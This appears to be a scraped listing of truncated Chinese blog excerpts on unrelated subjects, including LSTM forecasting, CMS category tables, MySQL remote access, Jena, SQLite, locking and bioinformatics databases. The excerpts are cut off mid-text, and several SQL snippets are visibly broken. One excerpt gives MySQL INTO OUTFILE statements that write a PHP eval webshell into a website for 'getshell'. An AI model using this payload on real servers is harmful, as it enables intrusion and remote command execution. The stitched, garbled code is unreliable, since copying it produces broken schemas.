问题:航班乘客预测 数据:1949 到 1960 一共 12 年,每年 12 个月的数据,一共 144 个数据,单位是 1000 下载地址 目标:预测国际航班未来 1 个月的乘客数 import numpy import matplotlib.pyplot as plt from pandas import read_csv import math from keras.models import Sequential from keras.layers import Dense from ke

一直以来对cms后台的栏目管理不太理解,尤其是子栏目顶级栏目这种关系,通过网上的搜索与自己的摸索,实现方法如下(原理是利用数据库的path字段): 1.建立简单的栏目表: CREATE TABLE `self_cd`( `id` INT UNSIGNED NOT NULL AUTO_INCREMENT PRIMARY KEY, `name` ) NOT NULL, `pid` ', `path` TEXT NOT NULL ) ENGINE = MYISAM ; 2.建立CdModel.clas

前言: 利用数据库视图,实现web接口查询敏感信息时动态脱敏. 具体目标:某接口为用户信息查询接口,返回敏感用户信息(id,姓名.手机号[敏感].身份证号[敏感]),如果web用户为管理员角色,则查询后返回明文用户信息,如果用户为普通用户信息,则查询后返回脱敏后的用户信息. 具体步骤: 一.在mysql中新建一个用户信息表,并添加几条数据 二.对上表创建脱敏后的视图,利用掩码技术脱敏,脱敏字段为phone和id_card ),)) ),'**************') as id_card f

0x01.利用MySQL命令导出getshell 利用条件: 1.拥有网站的写入权限 2.Secure_file_priv参数为空或者为指定路径 3.知道网站的绝对路径 方法: 通过into outfile 进行文件写入,写入一句话木马 CREATE TABLE shell(cmd text); INSERT INTO shell(cmd) VALUES('<?php @eval($_POST[CMD]); ?>'); SELECT cmd from shell INTO OUTFILE 'D

背景:在一台电脑上面安装MySQL数据库之后,利用另一台电脑访问本台电脑上面的数据,访问失败的问题 解决方法 开启 MySQL 的远程登陆帐号有两大步: 1.确定服务器上的防火墙没有阻止 3306 端口. MySQL 默认的端口是 3306 ,需要确定防火墙没有阻止 3306 端口,否则远程是无法通过 3306 端口连接到 MySQL 的. 如果您在安装 MySQL 时指定了其他端口,请在防火墙中开启您指定的 MySQL 使用的端口号. 如果不知道怎样设置您的服务器上的防火墙,请向您的服务器管理

注明:本文档是使用Jena2.6.4,数据库为MySQL,数据库驱动版本为mysql-connector-java-5.1.13-bin.jar. 1 Jena的数据库接口 Jena提供了将RDF数据存入关系数据库的接口,Model.Resource.Query等接口可以用于访问和维护数据库里的RDF数据.在处理数据时,应用程序不必直接操作数据(而 是通过Jena的API),也不必知道数据库的模式.Jena提供了支持MySQL.HSQLDB.PostgreSQ.Oracle和Microsoft

---恢复内容开始--- 一.建表 //通过SQLiteDatabase 创建数据库stu.db3 final SQLiteDatabase db = SQLiteDatabase.openOrCreateDatabase(this.getFilesDir().toString()+"/stu.db3", null); db.execSQL("CREATE TABLE student(id INTEGER PRIMARY KEY, name VARCHAR(50), scor

# 配置数据库app.config['SQLALCHEMY_DATABASE_URI'] = "mysql://root:mysql@127.0.0.1:3306/booktest"app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False db = SQLAlchemy(app) class AddBookForm(FlaskForm): """自定义添加书籍的表单""" aut

十年河东,十年河西,莫欺少年穷 学无止境,精益求精 今天是数据库脚本类的代码,所以不想过多阐述 如下数据表: create table Card( Id ,) primary key, CardNo ) unique not null, Status ) ) 上述表中有自增长字段Id,现在要求字段 CardNo 和自增长Id 相关联,譬如,当Id为1时,CardNo 应该为 Card00001,当Id为15时,CardNo应该为: Card00015 ,要求通过触发器或存储过程实现? 其中触发器

第一步:创建一个空的PDM模型(选择对应的DBMS):File-->New 第二步:选择DataBase-->Configure Connections,配置即将连接的数据库 第三步:选择Connection Profiles,接着添加新的数据库,Add Data Source(快捷键Ctrl + N) 第四步:配置好一切的参数,接着选择Test Connection(连接设置),连接成功(直接看第六步),配置完毕 第五步:如果出现这个错误,左下角显示 Could not Initialize

1. 经常使用类 class tf.contrib.rnn.BasicLSTMCell BasicLSTMCell 是最简单的一个LSTM类.没有实现clipping,projection layer.peep-hole等一些LSTM的高级变种,仅作为一个主要的basicline结构存在,假设要使用这些高级变种,需用class tf.contrib.rnn.LSTMCell这个类. 使用方式: lstm = rnn.BasicLSTMCell(lstm_size, forget_bias=1.0

悲观锁(Pessimistic Lock), 顾名思义,就是很悲观,每次去拿数据的时候都认为别人会修改,所以每次在拿数据的时候都会上锁,这样别人想拿这个数据就会block直到它拿到锁.传统的关系型数据库里边就用到了很多这种锁机制,比如行锁,表锁等,读锁,写锁等,都是在做操作之前先上锁. 乐观锁(Optimistic Lock), 顾名思义,就是很乐观,每次去拿数据的时候都认为别人不会修改,所以不会上锁,但是在更新的时候会判断一下在此期间别人有没有去更新这个数据,可以使用版本号等机制.乐观锁适用于

1.要求 数据库存储通讯录,要求按姓名/电话号码查询,查询条件只有一个输入入口,自动识别输入的是姓名还是号码,允许模糊查询. 2.实现功能 可通过输入指令进行操作. (1)首先输入“add”,可以对通讯录进行添加联系人信息. sql1 = 'insert into TA(ID,NAME,AGE,ADDRESS,TELENUMBER)' sql1 += 'values("%d","%s","%d","%s","%s&q

按照 http://space.itpub.net/195110/viewspace-711110 的说法顺利解决问题. 通过DBLink更新远程数据的时候,如果使用到本地的sequence.函数.过程.包等将会发生ORA-02069. 两边设置意义真的不是很大.但问题本身值得研究.

具体实现需要分几步: 1.修改驱动为database; 2.创建database的queue表 3.创建任务sendMessage 4.创建发送逻辑dispatch 5.启动队列 接下来我们进行实操: 在项目中找到/config/queue.php 我们修改这个驱动,为database,来到.env文件下进行修改 接下来我们就执行第二步:创建database的queue表 我们发现在migrations下多了一个文件 然后执行 php artisan migrate 表创建成功 接下来创建任务

circpedia 中收录了利用circexplorer 软件识别到的circRNA, 覆盖了人,小鼠,鸟类,昆虫多个物种的多种细胞系的数据 官网链接如下: http://www.picb.ac.cn/rnomics/circpedia/about 对于circRNA的来源基因(通常又叫做parent 基因) 来说,其可能产生的circRNA的类型是很多的,来源于同一个parent 基因的circRNA 叫做可变剪切的isoforms 利用数据库的搜索功能,查找在染色体的某一段上存在的circR

GO是一个同源蛋白的数据库,按照三大类别BP(生物学过程), MF(分子功能), CC(细胞组分) 对基因的产物-蛋白质进行了分类: 在GO数据库中,本质上是一个有向无环图的数据结构,在三大类别之下,又有小的分类层级,一层一层的分类下去: 对于某个具体的GO号来说,代表了一组同源蛋白,拥有相似的结构和功能,在数据库中,有上层分类的GO,也可能在这个GO下面,还有其他的GO 为了直观的展示某个GO号的分类,利用数据库提供的go-basic.obo 文件得到不同GO之间的层级关系,然后用Graphv

https://www.researchgate.net/post/How_to_determine_unknown_class_using_neural_network 里面有讨论,说是用rbf神经网络,O-SVM可以搞定 https://www.reddit.com/r/MachineLearning/comments/7t3xei/d_detecting_unknown_classes/ reddit上的讨论,有人专门提到svm是最适合解决这个问题的模型. I've spent lots

最近几天有点忙,所以我们今天来一篇短的,简单地介绍一下数据库设计中的一种模式——Soft Delete. 可以说,该模式毁誉参半,甚至有非常多的人认为该模式是一个Anti-Pattern.因此在本篇文章中,我们不仅仅会对该模式进行介绍,同时也会列出该模式可能导致的一系列问题,以帮助大家正确地决定是否使用该模式. Soft Delete简介 首先先来想一个需求,那就是对用户操作的回滚支持.例如我现在正在用Word编写这篇文章.当我执行了一个错误操作的时候,我仅仅需要键入Ctrl + Z就可以进行回

我们知道,在应用程序中与数据库进行交互是一个比较耗时的过程,首先应用程序需要与应用程序建立连接,然后将请求发送到数据库,数据库执行操作,然后将结果集返回.所以在程序中,要尽量晚的与数据库建立连接,并且较早的释放连接. 然而在很多时候,我们需要频繁的查询和更新数据库中的记录,比如我们的一张表中有1000条记录,假设有一个场景,需要一条一条的判断这1000条记录,如果不存在,插入:如果存在,更新某一个字段.这种场景很常见,比如银行的用户转账或者汇款,在完成之后需要更新账户余额等操作. 最近项目中也遇

一.数据库引擎 数据库引擎是用于存储.处理和保护数据的核心服务.利用数据库引擎可控制访问权限并快速处理事务,从而满足企业内大多数需要处理大量数据的应用程序的要求. 使用数据库引擎创建用于联机事务处理或联机分析处理数据的关系数据库.这包括创建用于存储数据的表和用于查看.管理和保护数据安全的数据库对象(如索引.视图和存储过程). 二.数据库引擎任务 在数据库引擎文档中,各主题的顺序遵循用于实现使用数据库引擎进行数据存储的系统的任务的主要顺序. 设计并创建数据库以保存系统所需的关系或XML文档 实现系